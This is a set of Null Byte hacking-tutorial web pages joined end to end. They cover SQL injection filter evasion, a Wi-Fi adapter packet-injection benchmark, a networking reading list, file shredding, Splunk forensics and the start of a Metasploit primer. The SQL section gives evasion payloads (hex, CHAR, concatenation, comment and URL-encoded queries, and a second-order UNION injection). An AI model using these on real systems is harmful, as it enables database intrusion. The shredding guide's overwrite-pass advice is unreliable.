D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DELThis number system is utilized a lot in computer engineering and programming because it provides a more human-readable representation ofbinaryvalues, and it can more efficiently represent large numbers with fewer digits. Using hex encoding on SQL statements can often aid in evading detection. For example:SELECT * FROM Users WHERE name='admin'--The hex encoded equivalent would be:SELECT * FROM Users WHERE name=61646D696E--Alternatively, we could use the UNHEX() function to achieve the same results:SELECT * FROM Users WHERE name=UNHEX('61646D696E')--Method 5: Character EncodingCharacter encoding works similarly to hex encoding in that characters in the original SQL statement are replaced with converted values. This type of encoding uses the CHAR() function to encode characters as decimal values.Just like before, a compact decimal table can be accessed by typingman asciiin the terminal:Tables
For convenience, below is a more compact table in decimal.
30 40 50 60 70 80 90 100 110 120
---------------------------------
0: ( 2 < F P Z d n x
1: ) 3 = G Q [ e o y
2: * 4 > H R \ f p z
3: ! + 5 ? I S ] g q {
4: " , 6 @ J T ^ h r |
5: # - 7 A K U _ i s }
6: $ . 8 B L V ` j t ~
7: % / 9 C M W a k u DEL
8: & 0 : D N X b l v
9: ' 1 ; E O Y c m wTake a look at the following query:SELECT * FROM Users WHERE name='admin'--Using character encoding, the statement would look like:SELECT * FROM Users WHERE name=CHAR(97,100,109,105,110)--Method 6: String ConcatenationAnother method that is used to bypass filters is string concatenation. We covered string concatenation in anearlier tutorial, but the same concept can be applied here; We can often avoid detection by breaking up keywords in the malicious SQL query. Keep in mind that string concatenation varies between different database systems. Let's look at the following statement:SELECT * FROM Users WHERE id=1Utilizing string concatenation in MySQL, we can craft a query that could potentially evade filters:CONCAT('SEL', 'ECT') * FROM Users WHERE id=1Here is what the query would look like in MS SQL:'SEL' + 'ECT' * FROM Users WHERE id=1PostgreSQL:'SEL' || 'ECT' * FROM Users WHERE id=1Oracle (two options):CONCAT('SEL', 'ECT') * FROM Users WHERE id=1'SEL' || 'ECT' * FROM Users WHERE id=1Method 7: CommentsAbusing the way that SQL handles inline comments can also aid in bypassing filters andavoiding detectionwhen performing SQL injection attacks. Since there can be any number of comments in a statement and still be valid, we can use them to break up the query and possibly circumvent any filters that are present. For instance, we can insert comments in between keywords like so:SELECT/**/*/**/FROM/**/Users/**/WHERE/**/name/**/=/**/'admin'--Method 8: CombinationsSometimes, even these signature evasion techniques will not be successful on their own, but we can combine them to further our chances of successfully bypassing defenses and completing an attack. For example, let's say a filter on the application we are attacking doesn't allow comment characters. To get around this, we can try crafting a query that encodes these characters in an effort to trick the filter into allowing them. The original query that fails:SELECT/**/*/**/FROM/**/Users/**/WHERE/**/name/**/=/**/'admin'--The same query using URL encoding to mask the comment characters:SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2FUsers%2F%2A%2A%2FWHERE%2F%2A%2A%2Fname%2F%2A%2A%2F%3D%2F%2A%2A%2F%E2%80%99admin%E2%80%99--Any of these methods can be combined to help get around pesky filters, and as such, this greatly increases our chances of success when performing SQL injection.Method 9: Second Order InjectionsThe final method that we can employ to aid in signature evasion is a bit more complicated, but depending on the way the database is configured, this type of attack can potentially help when all else fails.Second Order SQL injection occurs when aweb applicationor database properly filters input from a user but fails to provide any further sanitation after the initial query is passed through and validated. When the application performs some other function utilizing the database, our SQL query is executed dynamically and the malicious code is run. As such, this type of injection can be thought of as having two distinct stages: the initial query which encapsulates the malicious code and another process that executes the code at a later time.A common mitigation technique is to double up any single quotes that appear within user input before the query is ran against the database. Let's suppose we have an application that offers users the ability to create an account, as well as a password reset function. When we create an account, the SQL query could look something like this:INSERT INTO Users (username, password) VALUES ('johndoe''', 'hunter2')This causes no problems for the database since once the single quotes are doubled up, it is still a valid statement. Now let's suppose we would like to change our password. The query sent to the database would look like this:SELECT password FROM Users WHERE username='johndoe''Since the value for the username stored in the database is the string 'johndoe' an SQL injection flaw is now present because the original input is no longer being filtered. In order to exploit this, all we would have to do is register a username containing malicious code, such as:UNION ALL SELECT * FROM Users WHERE username='admin'--The account creation itself will be handled successfully, but when we go to change the password the malicious query will be executed, thus bypassing input validation.Stay Tuned for More on SQL InjectionAs you can see, there are many techniques that can be used to bypass filters and avoid detection when performing SQL injection. In addition to increasing the likelihood of a successful attack, these methods can help you fly under the radar, which is important when hacking in general. Now that we've covered signature evasion, it's time to take a look at common methods of defense used in the industry.Next Up:Common SQL Injection Defense Methods Hackers Should Be Aware OfFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byheladodementa/Pixabay; Screenshots by drd_/Null ByteRelatedSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:SQL Injection! -- Detailed Introduction.How To:Use SQL Injection to Run OS Commands & Get a ShellBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:SQL Injection Finding Vulnerable Websites..How To:Hack websites with SQL injectionHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsHow To:Hack websites with SQL injection and WebGoatGoogle Dorking:AmIDoinItRite?How To:Protect Your PHP Website from SQL Injection HacksHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Joseph Kony hunt is proving difficult for U.S. troops |
How to Select a Field-Tested Kali Linux Compatible Wireless Adapter « Null Byte :: WonderHowTo | When hacking Wi-Fi networks, having the right wireless adapter is essential. But hunting online for one can be a frustrating experience. To see how the handful of Kali-compatible adapters on the market measure up, I ran a series of tests to benchmark and compare their range, signal strength, and ability to enter monitor mode and perform packet injection. This should help you determine which adapter is right for your own hacking needs.By now, you should already be familiar with Kali Linux and theRaspberry Pi 3as a go-to setup for portable and efficient penetration testing.However, if you need more information aboutchoosing a wireless adapter for hackingor about yourbest options for a wireless adapter, then might I suggest following those links and giving my fellow Null Byte contributors' articles a quick study. Starting off can be a tad intimidating, but don't be discouraged, we're here to help!Compilation of adapter test results in a graph.How Adapters Compare: Testing ParametersRange and signal strength testing were performed in an apartment complex with a relatively busy wireless environment, running each adapter continuously for 10 minutes. To test for monitor mode and range, I simply ran aKismet scan. For packet injection, I ranAireplay-ngpacket injection tests.Don't Miss:How to Automate Hacking Wi-Fi with Besside-ngThen, I ranAirodump-ngscans to measure the signal strength between each adapter and a fixed test AP as I moved my adapter setup away from it. It should be noted that walls and other signal obstructing obstacles always play a factor in adapter performance. The results are organized by the chipset.Here, we see a Kismet Scan showing results from an apartment complex.Atheros AR9271 ChipsetAlfa AWUS036NHA(Find It Here on Amazon)Overall, the 36NHA performs exceptionally well under most circumstances. It supports monitor mode, and after 10 minutes, this adapter scanned 177 networks and had a nearly flawless packet injection percentage.When moved away from the base testing AP, the signal lost significant power. At about 100 feet from the AP, the signal strength hovered in the 90 dBm range. At this point, reliable packet injection would be out of the question.It's important to keep in mind what's between you and an AP you may be targeting. Having owned this Alfa myself, I can attest to its strength when placed somewhere with a clear line of sight.The Alfa AWUS036NHA.Image by SADMIN/Null ByteTP-Link TL-WN722N v1(Find It Here on Amazon)Like the 36NHA, the TP-Link supports monitor mode and performs adequate packet injection. Its range isn't as far —only about 143 APs were detected in my first test.Signal strength was similar to the NHA all the way to about 100 feet from the base AP. Given its size and portability, it makes for a great compact adapter for a more alluring price.The TP-Link TL-WN722N v1.Image by SADMIN/Null ByteRalink RT3070 ChipsetAlfa AWHUS036NH(Find It Here on Amazon)The 36NH does support monitor mode and has an impressive range, with 167 APs picked up during my first test. It also supports packet injection, however, its performance was rather inconsistent.Its signal strength at around 100 feet from the AP dropped to the 80–90 dBm range, making it only slightly more useful if you're in need of a couple extra feet in strength. This small difference, however, could add up to a more significant advantage when paired with a directional antenna.The Alfa AWHUS036NH.Image by SADMIN/Null ByteAlfa AWUS036NEH(Find It Here on Amazon)The 36NEH performed very well for its compact size. Like the previous Alfas tested, it supports monitor mode and packet injection. Its range was especially impressive, picking up 171 networks in the 10 minute test period.It's packet injection performance, however, was not stellar, as it was only able to achieve full injection success with a couple APs. Its signal strength was also comparable to the NHA and TP-Link. Similar to the TP-Link, it's a great option for a mobile setup.The Alfa AWUS036NEH.Image by SADMIN/Null ByteRalink RT5372 ChipsetPanda PAU05(Find It Here on Amazon)Like the TP-Link and NEH, the Panda wireless adapter is a favorite among most beginners because of its portability and price. It supports monitor mode and picked up 136 APs — the fewest overall.Don't Miss:How to Hack Wi-Fi With the Aircrack-ng Suite of ToolsIts signal strength was also the lowest performing, completely dropping signal at about 70–80 feet from the base AP. However, this adapter is by far the least conspicuous, since it doesn't possess any pesky higher gain antenna, and is therefore also best for on-the-go probing.As for packet injection, the official word from the manufacturer is that it does NOT support packet injection. Its official chipset is also an RT5372, NOT 3070, per a Panda Wireless representative. This may be contrary to what you've read elsewhere online or even experienced yourself while using this adapter. That being said, my tests present a discrepancy in the claim that it does not perform any packet injection.Running Aireplay-ng injection test on the Panda PAU05 wireless adapter.In this case, its performance was comparable to that of the 36NH. I chose to run besside-ng to further gauge its packet injection ability. Besside-ng requires injection to achieve its goal of capturing WPA handshakes. A successful "pwn" of a network, means that the adapter is in fact capable of it.Besside-ng test running with the PAU05 wireless adapter.Currently, the jury is still out, as customer reviews on Amazon and personal use have suggested that the PAU05 can perform packet injection. However, some users have reported that it cannot. I hope to have a clearer explanation after further correspondence with Panda Wireless.The Panda PAU05.Image by SADMIN/Null ByteRalink RT3572 ChipsetAlfa AWUS051NH v2(Find It Here on Amazon)The 51NH v2 performed best in range out of all adapters tested by just a hair — 183 networks. It supports monitor mode but, unfortunately, it does not support packet injection, thus making it unusable for activities like executing a man-in-the-middle attack.Unlike the other adapters, though, it does detect 5 GHz wireless signals, making it great for other activities such aswardriving; the searching, recording, and mapping of Wi-Fi networks in a moving vehicle. Once again, this adapters signal strength at extended range was also comparable to the NHA.The Alfa AWUS051NH v2.Image by SADMIN/Null ByteRealtek RT8187 ChipsetAlfa AWUS036H(Find It Here on Amazon)The 36H is the oldest of the bunch, but still performed fairly well considering its age. It supports monitor mode, picked up 156 networks, and performed moderately reliable packet injection.Once again, this adapters signal strength was comparable to the NHA, if just a little weaker — hovering in the upper 90 dBm range. It should get the job done in most cases, but the more recent models are probably a safer bet.The Alfa AWUS036H.Image by SADMIN/Null ByteMaking the DecisionChoosing a wireless adapter for your hacking needs comes down to several factors. No wireless adapter can do it all, nor are they all practical for every scenario. The TP-Link, NEH, and for some, the PAU05, make great options for portable hacking setups.Don't Miss:How to Create a Custom Wordlist with CrunchHere, the TP-Link tested out as the most reliable in terms of packet injection, while the NEH was the best in range.The 36H, 36NH, and NHA are more practical for stationary hacking setups. In this case, the NHA shines having the greatest packet injecting performance and a far range. Although all adapters mentioned are adequate for wardriving, the 51NH v2 makes the better choice in this field, as it has the best range and can pick up both 2.4 and 5 GHz wireless signals.Don't Miss:How to DoS a Wi-Fi Network ContinuouslyBecause of these factors, purchasing the right adapter really hinges on how you intend to use your adapter. In case you're still unsure, the most important questions to keep in mind are:What are your goals with this adapter?Where will you be using this adapter?How much range are you trying to achieve?What kind of wireless bands are you looking out for? (802.11a/b/g/n/ac?)How portable are you looking to keep your setup? Will you be stationary or on the go?If you have any comments, questions, or have run your own tests and have results to share, please leave them in the comments below!Don't Miss:How to Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Vantasky/Null ByteRelatedHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Get Packet Injection Capable Drivers in LinuxHow To:Share Your Laptop's Wireless Internet with Ethernet Devices |
Networking Basics for the Aspiring Hacker « Null Byte :: WonderHowTo | Hi there, nullbytes! I've been recently using NullByte as my only source of learning (almost) and it has proven to be really good to me.I've compiled some of the articles about networking, and ordered them in a way that made sense to me, and I thought about sharing the list for anyone that might find it useful as well, as I haven't found much order for it (other than the anonimity & darknets 4 parts guide)The List1.OSI Model and Wireshark2.How IP Addresses work3.A Tale of Two Standards4.How Network Packets are Routed across the Web5.Wireshark Filters6.Deep Web7.Onions and Daggers8.Hidden Services9.The Invisible Internet10.Tor vs. I2P11.How the Net came to be12.Today and Now, How it All ConnectsI know there are books about this (I have downloaded some, but they bore me). I just prefer the way it's explained here :)Any book suggestion that might finally catch my interest? Any article I'm missing in this list?Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Networking Basics for the Aspiring Hacker, Part One: IP AddressesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1How To:Become a HackerGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Advice for aspiring movie poster designersHow To:Hack Wireless Router Passwords & Networks Using HydraCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations |
How to Permanently Delete Files to Protect Privacy and Passwords « Null Byte :: WonderHowTo | Permanently deleting files is something that a lot of people aren't aware of. Actually, most people think that once a file is deleted, it is gone forever. This is not the case. Hard drives write to the disk via magnetic charges, positive and negative correlate to 1s and 0s for binary. This is then interpreted into information for the computer to use and access.When you delete a file, all that happens is a little modification to the binary that tells the computer it can be written over. So that means when you delete a file, it actually is still there until it is written over. So the simple solution would be to write over it, yes? No, actually. Files can still be recovered by taking bits and pieces of files and "guessing" what comes next, effectively recovering the file. You can write over a file up to 7 times, from my personal experience, before it becomes unrecoverable.So, today in thisNull Byte, we are going to be shredding some files to make them unrecoverable. This is a useful technique for when you have private information containing your social security number, or maybe just some private text. Be sure to do this before selling your computer as well, as I know people who buy used computers just to steal and recover credentials and other sensitive files.We will be using the free softwareCCleanerto shred our files in Windows. Linux and Mac users should useBleachBitandOnyxrespectively. I won't be teaching Mac and Linux because it is literally the same to use both programs.Step1Download & Install CCleanerInstall CCleaner from theirofficial page.Run the installer.Next > Next > Next > Finish.Step2Run CCleaner to Shred FilesIn CCleaner, you can specify how many times the program will write over your files or free space. For this I recommend using 10 passes. Anything beyond that is not recoverable for sure. Let's jump right into a video for a quick walkthrough of using this software.Please enable JavaScript to watch this video.This will protect your computer from ever having sensitive data like passwords and cookies recovered. It will also speed your computer up! I suggest people start using SSDs more frequently, as this issue doesn't exist with a solid state drive because it's flash memory. SSDs only require one pass before data isn't recoverable.That's it for thisNull Byte. Come join theIRCto talk with me and the rest of Null Byte.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage vianovainfosecportalRelatedHow To:Restore Permanently Deleted Files with RecuvaHow To:Recover Permanently Deleted Files Through RecuvaHow To:Hardwipe Tools to Permanently Deleted Files and Prevent Data RecoveryHow To:Delete Your Facebook Account & Scrub Your DataHow To:Delete Files on Android So They Can't Ever Be RecoveredHow To:Lock Your Files & Create Password-Protected Folders in Windows 7/8How To:PIN-Protect Photos, Log-in Credentials, Credit Card Info, Notes, & More with KeeplyChrome 101:How to Set Your Privacy & Choose Which Data to Share with GoogleHow To:The Ultimate Guide to Password-Protecting Files & Folders in Mac OS X YosemiteNews:30+ Privacy & Security Settings in iOS 12 You Should Check Right NowHow To:7 Privacy Tips for Photos & Videos on Your iPhoneHow To:Permanently erase computer files in your trashHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyNews:24 iOS 11 Privacy & Security Settings You Should Check Right NowSignal 101:How to Quickly Delete All Your Messages at OnceNews:How to Speed Up Your Computer Before Upgrading RAMHow To:4 Ways to Hide All Traces of Your Messages Using Signal Private MessengerHow To:Password protect files and folders in Mac OS XHow To:Password protect files and folders in WindowsHow To:Add a "Recycle Bin" to Your Nexus 5 for Easier File RecoveryHow To:Password-Protect Your Pages Documents So Only You & Allowed Collaborators Can Access ThemHow To:Permanently delete previously deleted files on a MacHow To:Delete temporary internet files on a BlackBerry smartphoneHow To:Lock OneDrive Files with Your Fingerprint or Face IDHow To:Lock Your Photos, Videos, Files, & Passwords in a Digital Safe for iOSHow To:Protect your privacy by choosing secure passwordsHow To:Password protect a file or folder on Microsoft VistaHow To:Permanently delete temporary files in Windows XPHow To:23 Important iOS 10 Privacy Settings Everyone Should Double-CheckHow To:Permanently Erase Data So That It Cannot be RecoveredGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Edit Your Google+ Account SettingsHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItHow To:Bypass Windows and Linux PasswordsHow To:Remove a Windows Password with a Linux Live CDNews:Should Kids Be Allowed to Use Facebook and Google+?Secure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Password protect folders and make files invisible |
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk) « Null Byte :: WonderHowTo | Welcome back, my neophyte hackers!Digital forensicsis one of the fields often overlooked by aspiring hackers. In a rush to exploit every and any system they can, they often ignore learning digital forensics—the field that may lead to them being traced.In addition to learning how to cover their tracks, studying digital forensics can give the aspiring hacker further insight into how systems operate. For instance, few newbie hackers are familiar with theWindows Registryand how it works, but for a forensic investigator, it can be a treasure trove of information about the attack and the attacker.The forensic investigator is often called in after a breach of a network and system, and it is his/her job is to recreate what took place. This is both to build better defenses for the future and to identify who the attacker was and what their goals were.Computer systems are constantly generating a plethora of information on what is happening on them—so much so that it becomes problematic to interpret. That is whereSplunkcomes in, a company founded about 12 years ago in San Francisco, CA that created software which could read machine data and make some sense of it for the system admin.At its most basic level, Splunk is capable of gathering all of the data that systems generate and index it for searching. Originally developed for system administration, Splunk can also be a great tool for digital forensics.We will be installing Splunk on Windows system and using it to conduct digital forensics on it (Splunk is also available for Linux, but in most cases, you will be conducting forensic analyses on Windows systems).Step 1: Downloading SplunkThe first step is to download Splunk, so head totheir website's downloads sectionfor the free download. Since I will be using a 64-bit system, I will be downloading the 64-bit Splunk for Windows 7, 8, and 10. This simply downloads the Windows .msi (installer), and since it is about 140 MB, it will only take few minutes.Step 2: Installing SplunkOnce the .msi is completely downloaded, open the file to start the installation. Then simply follow the Wizard steps to complete the installation.Step 3: Logging into SplunkWhen Splunk is completely installed, it will open a login interface in your default browser, like below.The default username and password are:username = adminpassword = changemeLogin with these credentials and then change the password.Step 4: Using SplunkWhen you log into Splunk, you will be greeted with a web-based GUI interface like that below. Initially, we want to gather data, so click on the "Add Data" icon.As you can see below, Splunk enables us to "Add Data" from multiple sources. In this first tutorial, we will be simply adding our log data from our local machine. We can add data from remote systems, or provide our own data, which we be examining in future tutorials on digital forensics.Very often when doing a forensic examination, we will not have the luxury of having Splunk installed on the compromised system. In those cases, we can gather the data from the compromised system and then run it through Splunk for analysis.In this screen, click on "Local Event Logs." This will bring up a screen asking us to select what logs we want to input. In this case, I selected "System," "Security," and "Application" logs. These are the basic event logs that Windows systems generate.After selecting our data sources, go ahead and click "Next."Step 5: Gathering the DataNow that we have selected "Local Event Logs," Splunk will respond with the Input Settings. When we click on "Review," Splunk will begin to gather all of the data that we specified, in this case, the Security, System, and Application log data.As you can see below, Splunk has gathered all the log data and displayed it. Most importantly, Splunk has indexed that data—much like Google indexes website data—so that we can search it.Next, let's ask Splunk to find patterns in this data. Simply click on the "Patterns" tab and Splunk will work to find patterns in the data and categorize them.Now that we have installed and have a basic understanding of Splunk, we can use it to recreate events for doing forensic analysis. Splunk can take data from many different sources and devices (such as those below) and help us to analyze and correlate the information.By analyzing the data from network devices, intrusion detection systems, databases, email servers, web servers, and other sources, the forensic analyst has the capability of recreating the breach and the events that led to the breach.In the next tutorial using Splunk, we will use external data from a data breach from multiple sources on multiple machines to recreate and analyze the events. So keep coming back, my neophyte hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image (original) viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)News:How to Study for the White Hat Hacker Associate Certification (CWA)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)How To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)News:What to Expect from Null Byte in 2015Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)How To:Why You Should Study to Be a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking Simulations |
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 2 (Keywords) « Null Byte :: WonderHowTo | Welcome back, my rookie hackers!I recently begana series on using Metasploit, and my goal with it is to teach you the very basics the incredibly powerful hacking tool has to offer while progressively moving on to the more advanced features.Inmy first Metasploit installment, I showed you the various ways you can use Metasploit, from the msfcli to the msfconsole to the GUI-based Armitage. In addition, I gave an overview of the various modules, including exploits, payloads, and encoders. Finally, we looked at some of the basic searching capabilities built right into Metasploit to help you find specific exploits, payloads, post-exploitation modules, scanners, encoders, etc.In this second tutorial, we will look at some of the basic commands we can use in Metasploit. Although the Metasploit framework can appear daunting to the uninitiated, it is actually a very simply framework for system exploitation. If you can learn a few keywords and techniques, you can use Metasploit to hack just about any system.Metasploit KeywordsUndersatnding and using a few keywords in Metasploit can help you navigate and operate this powerful piece of software. Let's look a few of the most basic and necessary Metasploit commands. This is far from an exhaustive list of Metasploit keywords and commands, but it covers the basic commands you need to function in Metasploit until you gain more experience.If you already have a little experience in Metasploit and want commands for the meterpreter, check outmy meterpreter commands cheat sheet.1. Show"Show" is one of the most basic commands in Metasploit. It can be used to show modules, such as show payloads, show exploits, etc. But, it also can be used to show options once we have an exploit chosen.The "show" command becomes context sensitive when we choose an exploit, so that if we type "show payloads"beforeselecting an exploit, it will show us ALL the payloads. If we type "show payloads"afterselecting an exploit, it will only show us the payloads that will work with that exploit.For instance, when we want see all the options that we need to set when installing abackdoor with an innocent-looking PDF, we use the "show options" command as below.2. HelpThe "help" command will give you a limited list of commands you can use in msfconsole. If you lose this guide, simply type "help" to get some basic commands.3. Info"Info" is another basic command in Metasploit that enables us to see all the basic information about an exploit. After selecting an exploit, we can then type "info" and it will display all of the options, targets, and a description for the exploit. I prefer to type "info" on any exploit I am using to find or remind myself of its features and requirements.For instance, here is screenshot from the output from the "info" command whenusing the ftp auxiliary module.4. Set"Set" is a basic and critical command/keyword in Metasploit. We can use it to set parameters and variables necessary to run the exploit. These variables can include the payload, the RHOST, the LHOST, the target, 